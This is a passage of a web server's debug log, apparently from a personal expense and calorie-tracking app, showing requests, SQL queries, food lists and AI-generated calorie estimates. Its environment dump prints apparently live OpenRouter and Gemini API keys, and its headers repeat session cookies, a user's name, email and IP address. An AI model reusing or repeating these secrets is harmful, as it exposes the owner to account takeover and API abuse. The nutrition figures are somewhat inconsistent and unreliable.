      _expires: 2025-12-19T18:03:30.349Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-19T05:27:03.167Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-19T05:27:03.168Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-19T05:27:03.168Z server-connect:app Executing action step identify
2025-12-19T05:27:03.168Z server-connect:app options: { provider: 'security' }
2025-12-19T05:27:03.168Z server-connect:output identity: 1
2025-12-19T05:27:03.168Z server-connect:app Executing action step restrict
2025-12-19T05:27:03.168Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:27:03.169Z server-connect:app Executing action step identify
2025-12-19T05:27:03.169Z server-connect:app options: { provider: 'security' }
2025-12-19T05:27:03.169Z server-connect:output identity: 1
2025-12-19T05:27:03.169Z server-connect:app Executing action step restrict
2025-12-19T05:27:03.169Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:27:03.170Z server-connect:output restrict: undefined
2025-12-19T05:27:03.170Z server-connect:app Executing action step select
2025-12-19T05:27:03.170Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-19T05:27:03.172Z server-connect:output restrict: undefined
2025-12-19T05:27:03.172Z server-connect:app Executing action step single
2025-12-19T05:27:03.172Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-19T05:27:03.176Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-19T05:27:03.179Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-19T05:27:11.321Z server-connect:router Serving templateView /calorie-tracker
2025-12-19T05:27:11.321Z server-connect:app Executing action step identify
2025-12-19T05:27:11.321Z server-connect:app options: { provider: 'security' }
2025-12-19T05:27:11.321Z server-connect:output identity: 1
2025-12-19T05:27:11.322Z server-connect:app Executing action step restrict
2025-12-19T05:27:11.322Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T05:27:11.322Z server-connect:output restrict: undefined
2025-12-19T05:27:11.322Z server-connect:router Render template calorie-tracker
2025-12-19T05:27:11.322Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T18:03:30.349Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-19T05:27:11.623Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-19T05:27:11.623Z server-connect:app Executing action step identify
2025-12-19T05:27:11.623Z server-connect:app options: { provider: 'security' }
2025-12-19T05:27:11.623Z server-connect:output identity: 1
2025-12-19T05:27:11.623Z server-connect:app Executing action step restrict
2025-12-19T05:27:11.623Z server-connect:app options: { provider: 'security' }
2025-12-19T05:27:11.623Z server-connect:output restrict: undefined
2025-12-19T05:27:11.623Z server-connect:app Executing action step single
2025-12-19T05:27:11.623Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-19T05:27:11.625Z server-connect:output summary: undefined
2025-12-19T05:27:11.626Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-19T05:27:11.626Z server-connect:app Executing action step identify
2025-12-19T05:27:11.626Z server-connect:app options: { provider: 'security' }
2025-12-19T05:27:11.626Z server-connect:output identity: 1
2025-12-19T05:27:11.627Z server-connect:app Executing action step restrict
2025-12-19T05:27:11.627Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:27:11.627Z server-connect:output restrict: undefined
2025-12-19T05:27:11.627Z server-connect:app Executing action step single
2025-12-19T05:27:11.627Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-19T05:27:11.629Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-19T05:27:11.629Z server-connect:app Executing action step select
2025-12-19T05:27:11.629Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-19T05:27:11.631Z server-connect:output item_list: []
2025-12-19T05:27:11.631Z server-connect:app Executing action step setvalue
2025-12-19T05:27:11.631Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-19T05:27:11.631Z server-connect:output var_total: 0
2025-12-19T05:27:11.631Z server-connect:app Executing action step setvalue
2025-12-19T05:27:11.631Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-19T05:27:11.631Z server-connect:output var_consumed: 0
2025-12-19T05:27:11.631Z server-connect:app Executing action step setvalue
2025-12-19T05:27:11.631Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-19T05:27:11.631Z server-connect:output var_deficit: 2400
2025-12-19T05:27:11.631Z server-connect:app Executing action step custom
2025-12-19T05:27:11.631Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-19T05:27:11.633Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  }
]
2025-12-19T05:27:12.466Z server-connect:app Executing action step identify
2025-12-19T05:27:12.466Z server-connect:app options: { provider: 'security' }
2025-12-19T05:27:12.466Z server-connect:output identity: 1
2025-12-19T05:27:36.532Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-19T05:27:36.533Z server-connect:app Executing action step identify
2025-12-19T05:27:36.533Z server-connect:app options: { provider: 'security' }
2025-12-19T05:27:36.533Z server-connect:output identity: 1
2025-12-19T05:27:36.533Z server-connect:app Executing action step restrict
2025-12-19T05:27:36.533Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:27:36.533Z server-connect:output restrict: undefined
2025-12-19T05:27:36.533Z server-connect:app Executing action step processWithGemini
2025-12-19T05:27:36.533Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-19T05:27:40.623Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Walnut',
      quantity: '2 pieces (approx 7g)',
      calories_per_unit: 65,
      total_calories: 45.5,
      protein: 1.02,
      carbs: 0.93,
      fat: 4.5,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of healthy fats, protein, and fiber. Good for muscle development.'
    },
    {
      food_name: 'Pre-workout',
      quantity: '1 scoop (approx 10g, typical serving size)',
      calories_per_unit: 5,
      total_calories: 5,
      protein: 0,
      carbs: 1,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: 'While it provides a boost for workouts, some pre-workouts contain artificial ingredients and can be high in stimulants. Consider if the benefits outweigh potential drawbacks for daily use.'
    },
    {
      food_name: 'Milk Tea (without sugar)',
      quantity: '1 cup (approx 240ml, assuming whole milk)',
      calories_per_unit: 150,
      total_calories: 150,
      protein: 8,
      carbs: 12,
      fat: 8,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: "Provides protein from milk and antioxidants from tea. Without sugar, it's a relatively healthy beverage. Consider using lower-fat milk if aiming to reduce fat intake."
    }
  ],
  total_macros: {
    protein: { value: 9.02, unit: 'grams' },
    carbs: { value: 13.93, unit: 'grams' },
    fat: { value: 12.5, unit: 'grams' },
    calories: { value: 200.5, unit: 'calories' }
  }
}
2025-12-19T05:27:58.022Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-19T05:27:58.022Z server-connect:app Executing action step identify
2025-12-19T05:27:58.022Z server-connect:app options: { provider: 'security' }
2025-12-19T05:27:58.022Z server-connect:output identity: 1
2025-12-19T05:27:58.022Z server-connect:app Executing action step restrict
2025-12-19T05:27:58.022Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:27:58.023Z server-connect:output restrict: undefined
2025-12-19T05:27:58.023Z server-connect:app Executing action step processWithGemini
2025-12-19T05:27:58.023Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-19T05:28:01.159Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Walnut',
      quantity: '2 pieces',
      calories_consumed: 26,
      total_calories: 26,
      protein: 0.6,
      carbs: 0.5,
      fat: 2.6,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
